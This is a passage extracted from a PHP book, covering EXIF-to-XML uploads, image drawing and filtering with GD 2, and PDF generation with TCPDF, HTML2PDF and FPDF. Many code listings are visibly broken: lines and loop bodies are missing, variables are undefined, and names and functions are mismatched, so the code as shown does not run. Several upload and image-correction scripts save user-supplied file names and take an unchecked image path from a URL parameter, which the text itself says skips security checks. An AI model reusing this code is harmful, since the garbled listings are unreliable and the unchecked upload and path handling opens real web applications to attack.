tion about the image, and IFD0 information about the camera.
5 A thumbnail is the reduced version of an image that is usually used for preview purposes.
$file = $dom->createElement("file");
$image->appendChild($file);
foreach ($data["FILE"] as $index => $value) {
if (!is_string($value)) {
$value = serialize($value);
}
$index = $dom->createElement(strtolower($index));
$value = $dom->createTextNode($value);
$index->appendChild($value);
$file->appendChild($index);
}
Repeat this for the EXIF and IFD0 information, then save the XML file. You can see the
complete code in the following listing.
<html>
<head>
<title>File upload</title>
</head>
<body>
<?php
if (isset($_FILES["file"])) {
move_uploaded_file($_FILES["File"]["tmp_name"], "./images/" .
$_FILES["Datei"]["name"]);
$data = exif_read_data("./images/" . $_FILES["File"]["name"],
"File, EXIF, IFD0", true, false);
//XML document
$dom = new DOMDocument();
if (@!$dom->load("images.xml")) {
$images = $dom->createElement("images");
$dom->appendChild($images);
}
$image = $dom->createElement("image");
$dom->documentElement->appendChild($image);
//File data
$file = $dom->createElement("file");
$image->appendChild($file);
$value = $dom->createTextNode($value);
$index->appendChild($value);
$file->appendChild($index);
}
//EXIF data
$exif = $dom->createElement("exif");
$image->appendChild($exif);
//IFD0 data
$ifd0 = $dom->createElement("ifd0");
$image->appendChild($ifd0);
$dom->save("images.xml");
}
?>
<form method="post" enctype="multipart/form-data">
<input type="file" name="File" />
<input type="submit" value="Upload" />
</form>
</body>
</html>
The next listing contains the script for reading some information from the XML file.
For the output, we use SimpleXML instead of SAX as this approach requires signifi-
cantly less code.
<?php
$sim = simplexml_load_file("images.xml");
foreach ($sim->image as $image) {
print '<table border="1" cellpadding="5">';
//filename
print '<tr><td>';
print 'File';
print '</td><td>';
print $image->file->filename;
print '</td></tr>';
//Date of the recording
print '<tr><td>';
print 'Date of recording';
print '</td><td>';
print $image->exif->datetimeoriginal;
print '</td></tr>';
//image
print '<tr><td colspan="2">';
print '<img src="';
print './images/' . $image->file->filename;
print '" /></td></tr>';
print '</table>';
}
?>
Figure 29.13 An Image Is Output Together with the Original EXIF Information
Tip
The potential for improvement is immense: you can format the output more beauti-
fully, catch exceptions, and use the EXIF information even more extensively. Everything
is conceivable, from online image editing to image galleries.
30.1 Preparations
Not much preparation is required for GD 2. You only need to integrate the library into
PHP.
30.1.1 Installation
Installing GD under Linux isn’t very easy. First download GD from https://github.com/
libgd/libgd/releases. For JPEG support, you also need the JPEG library (www.ijg.org),
which you must compile into GD. For TrueType font support, you will need ZLIB, Free-
type, and XPM. Then configure PHP with the following options:
In contrast, installation under Windows is quite simple. Simply comment out the fol-
lowing line by removing the semicolon:
extension=php_gd2.dll;
extension=gd2
In many installations with hosts and in standard packages, the line is already com-
mented out and GD 2 is onboard. You can then use phpinfo() to test whether the instal-
lation has worked. JPEG and TrueType font support is already included.
30.2 GD 2 in Action
GD 2 by Thomas Boutell is not written exclusively for PHP, but it has reached many
developers with PHP. It offers options for drawing shapes and text, but also allows
existing images to be modified.
header("Content-type: image/png");
Content-type is the file type of the image. You have the following options:
header("Content-type: image/gif");
for GIF or
header("Content-type: image/jpeg");
for JPEG.
Note
GIF only supports 256 colors, all of which are collected in a color palette. Due to its area-
oriented compression algorithm, GIF is mainly suitable for flat graphics such as but-
tons and offers transparency and the option of GIF animations as special functions.
JPEG uses 16.78 million colors and is preferred for photos. However, JPEG compresses
with lossy compression, which ultimately leads to unsightly pixelated effects, called
JPEG artifacts, if the compression is too strong.
PNG was created as an alternative to both formats: PNG-8 (and lower) stores 256 col-
ors, while PNG-24 supports 16.78 million colors. PNG-8 supports simple transparency.
With PNG-24, the files are usually somewhat larger than with JPEGs, but they compress
without loss, and in contrast to PNG-8 and JPEG, the alpha transparency helps to create
pretty effects. Alpha transparency means that pixels can also be semitransparent,
which enables smooth transitions with the background.
A true color image supports 16.78 million colors. If you want to create a GIF or a PNG-8,
use imagecreate(width, height) instead:
imagecreate(200, 200);
Note
GD 2 does not have an object-oriented API; it is based on functions. This is one of the
reasons why an alternative standard library was considered in PHP. In PHP 8, however,
the GD resource was also replaced with a class called GDImage as part of the conversion
of "old" resources. In PHP 8.1, this was also done for the font resource with the GDFont
class.
This is followed by the contents of the image. These are described in the next sections.
How the image is output is also important for the basic structure. This is done using dif-
ferent methods depending on the file type:
imagepng($image);
creates a PNG,
imagegif($image);
a GIF, and
imagejpeg($image);
a JPEG.
Finally, you should delete the image from the memory so that you don't drag any leg-
acy data with you:
imagedestroy($image);
If you now view the image in the browser, a black area appears instead of the white you
might expect (see Figure 30.1). The background was automatically filled with black by
GD. Black is also the default color when drawing if you do not specify one.
To obtain a different background color, you must first fill the image with an appropri-
ately colored rectangle. To do this, use imagecolorallocate(image, R, G, B) to define a
color and then use imagefilledrectangle(image, x1, y1, x2, y2, color) to draw the
rectangle:
Figure 30.1 Back in Black, The Basic Color for the Background ...
You can see the result in Figure 30.2. The coordinates are for the top-left and bottom-
right corners of the rectangle.
30.2.2 Text
Text in GD is simple in itself, but the choice of font and the appearance of the font is
sometimes a problem. The imagestring(image, font, x, y, text, color) function allows
you to write text in an image (see Figure 30.3). All settings are self-explanatory except
for Font. Here you specify one of the standard GD fonts. The standard fonts have the
numbers 1 to 5.
<?php
header("Content-type:image/png");
imagepng($image);
imagedestroy($image);
?>
Tip
With imagestringup(), you can draw vertical text. The x and y coordinates also repre-
sent the top-left-hand corner of the text.
The problem with the text output is that the appearance and size of the standard fonts
are fixed. You therefore only have these fonts available by default with imagestring().
Now you can use the imageloadfont(Font) function to load a new font. This function
returns an integer with the number of the font:
$font = imagefontload("xy.gdf");
$blue = imagecolorallocate($image, 51, 51, 204);
$text = "GD 2 is great!";
imagestring($image, $font, 50, 50, $text, $blue);
This also works quite well. However, you need GDF fonts for this function. You can find
some at www.danceswithferrets.org/lab/gdfs, for example.
If you want to define your fonts more freely, you can also use GD to create TrueType
fonts (TTFs), via the imagettftext(image, size, angle, x, y, color, font, text) function.
The following listing shows an example; the output follows in Figure 30.4.
Tip
The imagettftext() function returns the dimensions of the text box. The supplied
array consists of the four coordinates (x and y values) starting from the top left. If you
only want to measure text and not output it, you can also use imagettfbbox(size,
angle, font, text).
30.2.3 Shapes
Geometric shapes are offered by GD through several functions:
쐍 imagefilledrectangle(image, x1, y1, x2, y2, color) draws a filled rectangle.
쐍 imagefilledellipse(image, cx, cy, rx, ry, color) creates a filled ellipse or a circle
with the same horizontal and vertical radius (rx and ry). cx and cy specify the center
of the circle.
쐍 imagefilledpolygon(image, points, number of points, color) fills a polygon. Points is
an array with coordinates.
쐍 imagefilledarc(image, cx, cy, width, height, start angle, end angle, color, style)
fills an arc. You can use this function to create pie charts, for example. Use cx and cy
to specify the center of the circle around which the arc rotates. Width and height are
the width and height of the entire circle. Start angle and end angle define the start
and end angles.
Note
All four functions are also available without filled. Then you only draw the frame—
for example, imageellipse(image, cx, cy, rx, ry, frame color).
Listing 30.3 shows an example for a rectangle and ellipse, and Figure 30.5 shows the
result.
<?php
header("Content-type:image/png");
imagepng($image);
imagedestroy($image);
?>
A few more parameters are required for the arc, after which you’ll have a pie chart, as
shown in Figure 30.6.
imagesetthickness($image, 20);
$red = imagecolorallocate($image, 204, 51, 51);
$blue = imagecolorallocate($image, 51, 51, 204);
imagesetstyle($image, array($red, $red, $blue, $blue, $white, $white));
imageline($image, 0, 0, 50, 199, IMG_COLOR_STYLED);
imageline($image, 50, 199, 100, 0, IMG_COLOR_STYLED);
imageline($image, 100, 0, 150, 199, IMG_COLOR_STYLED);
imageline($image, 150, 199, 200, 0, IMG_COLOR_STYLED);
Tip
With the imagesetbrush(image, brush) method, you can even use another image as
the style for your lines. To do this, you must load the image as normal (e.g., with image-
createfrompng()) and then pass it to the imagesetbrush() function as the second
parameter. To use the brush, simply specify the IMG_COLOR_STYLEDBRUSHED color con-
stant as the color.
imagepng($image, "test.tif");
The output buffer with ob_start() and the like can also be used to output an image via
PHP. The Stream_Var PEAR class can also be used here.
We will show you both variants using the example of grayscale conversion. First, in the
next section, we’ll talk about how to reduce the size of an existing image.
the target image and the source, then the coordinates at which the image section starts
in each case, followed by the width and height of the target and source.
The following example reduces an image to 10% of its original size, as shown in Figure
30.8 and Figure 30.9.
<?php
header("Content-type:image/jpeg");
$image = imagecreatefromjpeg("test.jpg");
$x = imagesx($image);
$y = imagesy($image);
imagejpeg($image_smaller);
imagedestroy($image);
imagedestroy($image_smaller);
?>
Note
Remember to delete both images from the memory at the end for the sake of order.
$image = imagecreatefromgif("test.gif");
2. Then loop through all the colors in the image. You get the total number with the
imagecolorstotal() function:
3. Each color has an index, which is mapped here with the $i loop variable. image-
colorsforindex(image, index) returns the color value of a color as an associative array:
$f = imagecolorsforindex($image, $i);
4. You can access the individual colors in this array with the red, green, and blue keys.
These are the basis of the formula for the grayscale calculation:
5. To redefine the color as grayscale, use the calculated grayscale values for red, green,
and blue:
<?php
header("Content-type:image/png");
$image = imagecreatefromgif("test.gif");
Note
By the way, when you specify a color, you can also specify the transparency. This is
done using the imagecolorallocatealpha(image, red, green, blue, alpha) function
with an alpha value from 0 to 127. There are also other functions for images with a
color palette to determine colors: imagecolorclosest() and imagecolorclosestal-
pha() use the color from the palette that is closest to the specified color value. To spec-
ify a transparent color in GIF and PNG-8 formats, use imagecolortransparent(image,
color).
The trick is to compress the colors of the image into a 256-color palette using the
imagetruecolortopalette(image, dithering, number of colors) function.1 The disadvan-
tage of this method is that color information is lost. On the other hand, the conversion
to grayscale is quick and easy.
<?php
header("Content-type:image/jpeg");
$image = imagecreatefromjpeg("test.jpg");
imagetruecolortopalette($image, false, 256);
imagejpeg($image);
imagedestroy($image);
?>
The next step is the exact conversion to grayscale. The most important elements are
two nested loops that go through the width and height of the image pixel by pixel. The
color is also determined a little differently. The colorat(image, x, y) function returns
the color of a coordinate, which you can then determine with imagecolorsforindex()
and turn into a color array. Once the color value has been converted, color the pixel
with the imagesetpixel(image, x, y, color) function.
<?php
header("Content-type:image/jpeg");
$image = imagecreatefromjpeg("test.jpg");
1 Dithering means that color values are simulated by similar surrounding colors. As an example,
assume that a 2 × 2 pixel square consists entirely of four orange pixels. When converting to 256 col-
ors, however, there is no more orange, which is why two of the four pixels are replaced with red and
two with yellow. This visually simulates the effect of orange, but it makes the image appear more
pixelated. If, on the other hand, the dithering is omitted, then the image becomes more graduated.
imagejpeg($image);
imagedestroy($image);
?>
Tip
There are also integrated image processing options in GD: With imageconvolution()
you can change the image with a matrix and, for example, blur it. There are also some
filters that you can apply with imagefilter(). Each filter is a constant, such as IMG_
FILTER_GAUSSIAN_BLUR for the Gaussian blur:
imagefilter($image, IMG_FILTER_GAUSSIAN_BLUR);
Depending on the filter, further parameters are possible for the settings. You can find
an overview at http://s-prs.co/v602243.
The script uses SimpleXML to read the data from the XML file. First, a foreach loop adds
up the votes for all answers. This is later used to calculate the percentage of the individ-
ual answers. After the usual GD preparations, another loop follows that goes through
all the answers. The percentage share is calculated for each answer. This results in the
final angle for the respective arc:
imagecolorallocate() then draws the arc. We add the legend with imagettftext(). The
response text comes directly from the XML file. Finally, the start angle is set to the last
end angle. You can see the output in Figure 30.10.
<?php
$sim = simplexml_load_file("survey.xml");
header("Content-type:image/png");
$image = imagecreatetruecolor(350, 250);
//start angle
$start = 0;
$i = 0;
foreach ($sim->answer as $answer) {
$end = $start + 360 * intval($answer) / $ant_max;
imagefilledarc($image, 100, 120, 150, 150, intval($start),
intval($end), $colors[$i], IMG_ARC_PIE);
//Label answers:
imagettftext($image, 10, 0, 200, 50 + 20 * $i, $colors[$i], "
verdana.ttf", $answer["text"] . ": " . $answer);
//Increment
$start = $end;
$i++;
}
//Label question:
$black = imagecolorallocate($image, 0, 0, 0);
imagettftext($image, 14, 0, 20, 20, $black, "verdana.ttf", $sim["text"]);
imagepng($image);
imagedestroy($image);
?>
Of course, there is always room for improvement. For example, you can make the for-
matting even more attractive. You can also make the code more modular. It would also
be conceivable to support several questions, which could then be evaluated below or
next to each other.
Color Correction
As an example, we want to implement automatic color correction, a feature you may
know from image processing software. In the next listing, there is an upload page
where the user can upload their image.
<html>
<head>
<title>File upload</title>
</head>
<body>
<form method="post" action="upload_reception.php"
enctype="multipart/form-data">
<input type="file" name="File" />
<input type="submit" value="Upload" />
</form>
</body>
</html>
We do not carry out extensive file size checks or other security mechanisms. After the
upload, we first check whether a file has been transferred at all. If not, the color correc-
tion script (color_correction.php) will only return a black area. Once a file has been
uploaded, it is moved to the images subdirectory. Within the page, we display the file
once in its original state and the second time in the corrected version. For the latter, we
append the file name and storage location to the URL.
<?php
$name1 = "color_correction.php";
$name2 = "color_correction.php";
if (isset($_FILES["File"])) {
print realpath($_FILES["File"]["name"]);
move_uploaded_file($_FILES["File"]["tmp_name"],
"./images/" . $_FILES["File"]["name"]);
$name1 = "./images/" . $_FILES["File"]["name"];
$name2 = "colorcorrection.php?image=" . "./images/" .
$_FILES["File"]["name"];
}
?>
<html>
<head>
<title>Correction</title>
</head>
<body>
<img src="<?=$name1 ?>" />
<img src="<?=$name2 ?>" />
</body>
</html>
The color correction script then checks whether a file name has been specified for a file
to be corrected. If so, it is corrected. The correction consists of two steps, which you can
see in Listing 30.13. In the first step, a loop runs through the color values of all pixels
and determines the maximum and minimum values. In the second loop, all pixels are
processed again. Only this time, they are distributed in such a way that the maximum
and minimum values now lie between black and white instead of being brightness val-
ues. This process is called spreading or expanding the tonal range. Figure 30.11 illus-
trates this effect.
<?php
$image = imagecreatefromjpeg($_GET["image"]);
$min = 255;
$max = 0;
imagejpeg($image);
imagedestroy($image);
} else {
header("Content-type:image/gif");
$image = imagecreate(200,200);
imagegif($image);
imagedestroy($image);
}
?>
Tip
Our tone value correction is a very simple mechanism. However, it does not take any
imperfections into account. For example, if an image is dull but has one white and one
black pixel, the correction will fail. You can refine the algorithm for such cases.
The best way to find out more is to read a classic book on graphics programming. But
be careful: This quickly becomes complex, and the performance of GD doesn’t get you
very far with such calculations!
30.3.1 ImageMagick
ImageMagick (www.imagemagick.org) is one of the best-known image processing
libraries. It is also frequently used with PHP. It makes sense to use ImageMagick if you
need even more functionality in the area of filters and image processing. ImageMagick
also offers very good conversion mechanisms.
There is a PECL package in PHP for connecting ImageMagick, available at http://s-
prs.co/v602285. The documentation can be found at http://s-prs.co/v602286. The bina-
ries for Windows are available on the official ImageMagick website. The current
requirements are PHP 5.4.0 or higher (that's easy) and ImageMagick 6.5.3 or higher.
Note
Many hosts already have ImageMagick or GraphicsMagick (see next section) installed.
Pay attention to this if you require advanced image processing.
30.3.2 GraphicsMagick
GraphicsMagick is a variant originally based on ImageMagick. A PECL package is also
available here, which accesses a GraphicsMagick installation based on the Graph-
icsMagick API (http://s-prs.co/v602287).
The current requirements are for version 2.0.5 of the PECL package, PHP 7.0.1 or higher,
and GraphicsMagick 1.3.17 or higher, but the PECL extension is also still available for
PHP 5 as branch 1.1. You can find the documentation at http://s-prs.co/v602244.
30.3.3 NetPBM
NetPBM is also worth a look. This library has its origins in Perl and can now be found on
SourceForge (http://s-prs.co/v602288). One of this library's strengths is its functionality
for conversion of image formats.
With its Portable Document Format (PDF), Adobe has created a milestone. The format
is considered cross-platform and looks the same on different platforms. How did this
success come about? PDF was originally a project by Adobe cofounder John Warnock.
Adobe wanted to find a format that would enable it to drive forward its vision of a
paperless office. The developers looked at what Adobe already had: PostScript, and
Adobe Illustrator, which was compatible with PostScript and already ran on Macs and
in Windows. PDF was then developed as an improved PostScript version. A number of
tools were added, such as the Reader for reading PDF files and the Distiller for creating
and modifying them.
A lot has happened since the first version’s release in 1992: PDFs now support digital
rights management,1 notes can be inserted, and documents can be searched at will. The
Acrobat Reader for viewing PDF files is now also available for mobile devices. There are
now also a large number of free tools for creating and displaying PDFs.
That’s reason enough to use PDFs. Especially for invoices and the like, PDF is also the
format that is regarded as reasonably binding. Now, of course, you can buy Acrobat
from Adobe, use another tool, or use one of the available PDF printer drivers. The result
is a static PDF. But as a web developer, you know that static is not good; everything has
to be dynamic. No, seriously: Dynamic generation has many advantages. You can per-
sonalize a PDF document with the user's name and data, for example.
To generate PDF documents on the server side, you could look up the PDF specification
(www.adobe.com/devnet/pdf/pdf_reference.html) and write the output yourself. How-
ever, PHP offers—as is usually the case—several libraries that generate PDF files by pro-
gramming. Several is almost an understatement in this context. PDF libraries are a
dime a dozen. For the most part, they work in a similar way and differ mainly in terms
of functionality and license. For a while, pdfLib (PDF only) was supplied directly with
PHP as an extension, but since PHP 5.3 it has been outsourced to PECL. In addition, the
open-source version called Lite was discontinued in 2011. The remaining versions are
subject to a commercial license with a considerable fee. As there are many good open-
source alternatives for quick and easy use, this library is no longer used in this book.
A very well-known and proven free alternative is FPDF. TCPDF is used even more fre-
quently. This extension is particularly common in combination with HTML2PDF and is
used by many open-source CMSs. We will also briefly introduce you to an extension
from the PECL universe called Haru. We show TCPDF and FPDF in more detail, and Haru
with a small example. However, there are a number of other alternatives. It is always
worth doing some research here.
31.1 Preparation
Installation is the most important preparation for using PDF. However, it doesn't hurt
to have a basic knowledge of the structure of a PDF document. If you have already
looked at the specification of the format, you will find it easier to cope with the func-
tions of the various libraries.
31.1.1 TCPDF
The official homepage for TCPDF is https://tcpdf.org. However, all relevant information
and examples can be found on the TCPDF GitHub project site at http://s-prs.co/
v602245.
Note
The GitHub project site also notes that the team behind TCPDF is currently working on
a new version of the PDF library. You can find that project at http://s-prs.co/v602246.
We use the established version of TCPDF here, as it is also the basis for HTML2PDF
(https://html2pdf.fr/default). This package is particularly practical for producing per-
sonalized PDFs from HTML templates—for example, in e-commerce for delivery bills
or invoices, or in e-learning for certificates.
You can easily install both packages using Composer. General information on setting
up Composer itself can be found in Chapter 38.
For our example, we will install HTML2PDF as TCPDF is already supplied there. To do
this, change to the directory for your PHP test project and get the corresponding pack-
ages from there in the console/command prompt:
The packages are packed into the vendor subdirectory. Of course, TCPDF can also be
installed separately if you do not need HTML2PDF. In this case, the command is as fol-
lows:
31.1.2 FPDF
You download the PHP library from www.fpdf.org and then use it in your script. Instal-
lation is not required.
31.1.3 Haru
Haru is a PDF extension based on the Haru Free PDF library. It was very active for a
number of years and is well-developed; however, it is currently very neglected and no
longer updated. You can find the PECL package at http://s-prs.co/v602289.
The installation is carried out with the following:
--with-haru[=library]
In Windows, you will find corresponding .dll files on the PECL site, which you copy into
the ext directory of PHP. Then configure the extension in php.ini:
extension=php_haru.dll
extension=haru
31.2 TCPDF
The TCPDF library is a successful classic. It is currently used in many open-source sys-
tems, from content management systems such as Joomla! and TYPO3 to learning man-
agement systems such as Moodle. Its strengths are in its very comprehensive
functional coverage of the PDF specification and its complete support of UTF-8. In addi-
tion, the library is completely object-oriented despite its older age.
31.2.1 Basics
To create a PDF document with TCPDF, you must first load the library itself:
require __DIR__.'/vendor/autoload.php';
use Com\Tecnick\Pdf;
The central object for TCPDF is an object of the TCPDF(orientation, unit, format, Uni-
code, encoding, cache) class:
쐍 Unit stands for the central unit of measurement for the positioning of elements, the
size of fonts, and so on. The standard options are mm for millimeters or pt for points.
쐍 Format is the standard size of the PDF pages. In general, you can change this setting
as well as the orientation for individual pages.
쐍 Unicode determines whether Unicode is used; it is a truth value.
쐍 Encoding defines the encoding. The standard is UTF-8.
쐍 Cache specifies whether the PDF is cached on the hard disk during the creation pro-
cess (true). The default value is false as this is more performant.
Note
The TCPDF library also uses global constants internally for the page settings, which you
can set accordingly. Examples of this are PDF_PAGE_ORIENTATION for the page orienta-
tion in portrait or landscape format, PDF_UNIT for the unit of measurement used, and
PDF_PAGE_FORMAT for the size of the page.
Next, define the metadata for the document. This is done, for example, with the Set-
Title() method. There are also other PDF properties, such as author, keywords, and so on:
$pdf->SetTitle('TCPDF Output');
You then need to decide whether to use the standard PDF header, change or extend it,
or leave it out. We are taking the easy route here and leaving it out:
$pdf->setPrintHeader(false);
$pdf->setPrintFooter(false);
The next settings control the page spacing and pagination. For the page spacing, use
the unit selected for the document to define the spacing from the left, top, and right. In
our example, we select 0 here—that is, no outside spacing—to be able to control every-
thing precisely when drawing.
The SetAutoPageBreak() setting specifies whether a new PDF page should be started
automatically if the content extends beyond the current page. This makes sense by
default:
$pdf->SetMargins(0, 0, 0);
$pdf->SetAutoPageBreak(true, 0);
We are slowly approaching the content. However, there are still settings to be made.
With SetFont(), you determine which font is used in which size. AddPage() also adds the
first PDF page:
The actual output then takes place with Write(line height, text, link, padding, align-
ment). The parameters at the end require explanation: You only need Link if you want
to specify a link target; Fill expects the value 0 for transparency or 1 for a fill. The color
of the fill must be set in advance using a separate SetFillColor() method. (More on this
follows in Section 31.2.2.) Finally, the alignment is a string that allows left-aligned (L),
right-aligned (R), centered (C), or justified (J) options:
With the Ln() method, you could now insert a new line so that the next content ends up
in the next line. As we are only outputting one line here, we do not necessarily need
this.
Now we have basically everything except the finished PDF document. This must be
output at the end with the Output(name, method) method. The name is necessary if the
file is saved by you or by the user from the browser. The method determines how
TCPDF delivers the PDF. With I, the output takes place directly in the browser using the
browser plug-in if possible; D attempts to force a direct download in the browser; and
with F it is saved as a file on the server:
$pdf->Output('output.pdf', 'I');
The following listing shows an overview of the entire script; Figure 31.1 shows the out-
put.
require __DIR__.'/vendor/autoload.php';
use Com\Tecnick\Pdf;
$pdf->SetTitle('TCPDF Output');
$pdf->setPrintHeader(false);
$pdf->setPrintFooter(false);
$pdf->SetMargins(0, 0, 0);
$pdf->SetAutoPageBreak(true, 0);
$pdf->Output('output.pdf', 'I');
31.2.2 Cells
So far, you have used the Write() function to output text line by line. There is also the
option of placing text in so-called cells. The simplest method for this is Cell(Width,
Height, Text, Border, PositionAfter, Alignment, Fill, Link, Scale). Let's take a closer
look at the possible values, as they are also relevant for other elements and methods:
쐍 Width specifies the width in the unit selected for the document. If the value is 0, the
cell expands to the right edge or to the distance (margin) from the right edge.
쐍 Height specifies the height of the cell. If it is specified as 0, the cell adapts to the text
height.
쐍 Text is the actual content.
쐍 Frame specifies whether a frame is displayed (value 1) or not (value 0). Alternatively, a
string value can be entered here that displays the individual frames of the four sides
separately (L for left, T for top, R for right, B for bottom).
You control how the frame looks with a separate method, SetLineStyle().
쐍 PositionAfter controls where the next element is inserted in the document flow.
The technical term for this is the character cursor, which is set with this option. This
can be to the right of the element (default value 0), it can continue on the next line
(value 1), or it can continue below the current element (value 2).
쐍 Alignment controls the text alignment within the cell with the values L for left
(default), C for centered, and R for right-aligned.
쐍 Filling specifies whether there is a filling (value 1) or not (default value 0).
You control the fill color itself using SetFillColor(). The method expects the RGB
color values as parameters. The following example creates a blue fill, for example:
$pdf->SetFillColor(0, 0, 255);
쐍 Link optionally contains a URL for a link.
쐍 Scaling controls how the text in the cell is scaled horizontally. By default, scaling is
deactivated (default value 0). The parameter therefore also controls the spacing
between the letters. The value 2, for example, scales the letters to the entire cell
width by default.
Note
The MultiCell() method also creates a cell, but with dynamic text wrapping. You can
see this method in action in Section 31.2.4.
The following example creates a cell with a blue background and a large text; Figure 31.2
shows the output.
require __DIR__.'/vendor/autoload.php';
use Com\Tecnick\Pdf;
$pdf->SetTitle('TCPDF Output');
$pdf->setPrintHeader(false);
$pdf->setPrintFooter(false);
$pdf->SetMargins(0, 0, 0);
$pdf->SetAutoPageBreak(true, 0);
$pdf->SetFillColor(0, 0, 255);
$pdf->Cell(0, 50, $output, 1, 0, 'C', 1, '', 0);
$pdf->Output('output.pdf', 'I');
Note
TCPDF supports a range of other shapes, such as circles with Circle(), lines with
Line(), and even Bezier curves with Curve(). It is definitely worth experimenting a lit-
tle here.
In the following example, we first create the central points for the roof—that is, for the
triangle. The third coordinate also forms the top-left-hand corner of the rectangle:
This is followed by a central variable with an array. This array in turn contains index-
value combinations for the line style. These include the thickness of the line (width), the
formatting of the end and joins (cap and join), the dashing of the line (dash and phase
for the start of the dashing), and, last but not least, the color as an array with the RGB
values:
$line = array('width' => 0.8, 'cap' => 'butt', 'join' => 'bevel',
'dash' => '10,5,15,5', 'phase' => 5, 'color' => array(0, 0, 255));
Then it's time to draw. We start with the triangle using the Polygon(PointsArray,
Rendering, Line, FillColor, Closed) method. The most important parameter is the
array with the points. This is followed by the rendering style, where DF stands for draw
and fill. For the line, you can define a separate style for each individual polygon seg-
ment by gradually setting the indices in the array, starting at 0. With the all index, you
define the style for all polygon segments at once. The next parameter defines the fill
color as an array, and the last parameter used here ensures that the polygon is closed
(value true):
The substructure of the house is created using the Rect(x, y, width, height, render-
ing, line, fill color) method. You will recognize the parameters here that were also
used in Polygon():
The following listing shows the central portion of the example, and Figure 31.3 shows
the output.
//Title:
$output = 'Draw';
$pdf->SetFillColor(0, 0, 255);
$pdf->Cell(0, 50, $output, 1, 0, 'C', 1 );
$line = array('width' => 0.8, 'cap' => 'butt', 'join' => 'bevel', '
dash' => '10,5,15,5', 'phase' => 5, 'color' => array(0, 0, 255));
$color = array(200, 200, 200);
//roof
$pdf->polygon([$a1[0], $a1[1], $a2[0], $a2[1], $a3[0], $a3[1]], 'DF',
['all' => $line], $color, true);
//House
$pdf->Rect($a3[0], $a3[1], $a2[0] - $a3[0], 80, 'DF', ['L'=>$line, 'R'
=>$line, 'B'=>$line], $color);
$pdf->Output('output.pdf', 'I');
$sim = simplexml_load_file("survey.xml");
The example script now counts the number of responses and returns the result in a
variable, $ans_max. This variable is then used in a loop that goes through all the
responses, uses a start angle as the counter in each case, and then moves it on based on
the value in the response:
$start = 0;
foreach ($sim->answer as $answer) {
...
$end = $start + 360 * intval($answer) / $ans_max;
...
$start = $end;
}
The actual components of the pie chart are now created in this loop. In the first step, the
RGB numerical values are assigned random values in three variables for the red, green,
and blue color values:
The individual pie slices are then created with the PieSector() method:
This is also where the getPageWidth() method is used to determine the correct size for
the diagram.
In the last step, the legend label for each answer is set as a MultiCell:
The following listing shows the complete script at a glance; the diagram follows in
Figure 31.4.
$sim = simplexml_load_file("survey.xml");
require __DIR__.'/vendor/autoload.php';
use Com\Tecnick\Pdf;
$pdf->SetTitle('TCPDF Tart');
$pdf->setPrintHeader(false);
$pdf->setPrintFooter(false);
$pdf->SetMargins(0, 0, 0);
$pdf->SetAutoPageBreak(true, 0);
$pdf->AddPage();
//Title
$output = 'Who should be kicked out?';
$pdf->SetFillColor(100, 100, 255);
$pdf->SetFont('Helvetica', '', 36);
$pdf->Cell(0, 50, $output, 1, 0, 'C', 1);
$pdf->LN();
//Legend
$pdf->SetFont('Helvetica', '', 12);
$pdf->MultiCell(100, 8, 'Legend:', 0, 'L', 0, 1, 5, 55);
//start angle
$start = 0;
foreach ($sim->answer as $answer) {
$r_random = mt_rand(50, 220);
$g_random = mt_rand(50, 220);
$b_random = mt_rand(50, 220);
$pdf->SetFillColor($r_random, $g_random, $b_random);
$pdf->SetLineStyle(['width' => 1, 'color' => [100, 100, 100],
'join' => 'bevel']);
$end = $start + 360 * intval($answer) / $ans_max;
$pdf->PieSector($pdf->getPageWidth() / 2, 140,
$pdf->getPageWidth() / 3, $start, $end);
//Label answers:
$pdf->SetTextColor($r_random, $g_random, $b_random);
$pdf->MultiCell(100, 5,
$answer["text"] . ": " . $answer, 0, 'L', 0, 1, 5);
//Increment
$start = $end;
}
$pdf->Output('output.pdf', 'I');
require __DIR__.'/vendor/autoload.php';
use Spipu\Html2Pdf\Html2Pdf;
$html2pdf = new Html2Pdf();
Everything else is then taken care of by the writeHTML(HTML) method. It takes a string
with HTML code as the central parameter. This can even contain CSS and complex ele-
ments such as tables.
Listing 31.5 and Figure 31.5 show an overview of some possibilities.
<th>cell heading2</th>
</tr>
<tr>
<td>Cell 1</td>
<td>Cell 2</td>
</tr>
</table>');
$html2pdf->output();
31.3 FPDF
The first "F" in FPDF stands for free. This is also the real incentive of this library—
because let's be honest, most web projects are commercial. Even a hobby site often has
one or two advertising banners and would therefore fall outside the definition of a
noncommercial website. However, smaller sites in particular will be reluctant to spend
money on a PDF library. That’s reason enough to take a closer look at FPDF.
Note
At www.fpdf.org, you will not only find FPDF itself, but also a helpful manual.
31.3.1 Basics
As FPDF is based on PHP, you simply integrate the corresponding class. The operation
is object-oriented and very simple. You define the PDF document with the FPDF object,
and you specify the format as a parameter:
$pdf->AddPage();
$pdf->SetFont("Helvetica", "", 48);
$pdf->Cell(20,10, "Your statement!");
Finally, output the whole thing using the Output() method. Listing 31.6 shows the com-
plete example, and you can see its output in Figure 31.6.
<?php
define("FPDF_FONTPATH", "font/");
require "fpdf/fpdf.php";
Note
FPDF has some special features. For example, as with most graphics programs, the ori-
gin is in the top-left-hand corner by default. You can also select the unit very flexibly.
31.3.2 Drawing
Drawing with FPDF is also very simple. The two lines of the following listing are suffi-
cient for a creating filled rectangle in the background (see Figure 31.7).
$pdf->SetFillColor(51, 0, 255);
$pdf->Rect(0, 0, 421, 70, "F");
It is also important here to set the fill color in the first step, which is used for the subse-
quent operations. In the second step, the rectangle is created with the coordinates,
width, and height.
Note
You can find helpful examples and scripts for many other drawing-related tasks on the
FPDF website at www.fpdf.org/en/script/index.php.
31.4 Conclusion
The generation of PDF documents can be very complex, because you need to draw the
elements and objects manually. But the basics are easy and similar in different librar-
ies. So it is a matter of taste which library you prefer. Out of the open source based
libraries we mainly use TCPDF, because it is connected to HTML2PDF and this option
makes it very easy to create output fast.
A common opinion says that the biggest uncertainty factor for a web application is the
operating system or the web server software (or the server-side technology). Unfortu-
nately, this is wrong. Web servers and operating systems are maintained by their man-
ufacturers, and security vulnerabilities are closed—sometimes faster, sometimes
slower. New versions of server technologies, especially PHP, are also released regularly.
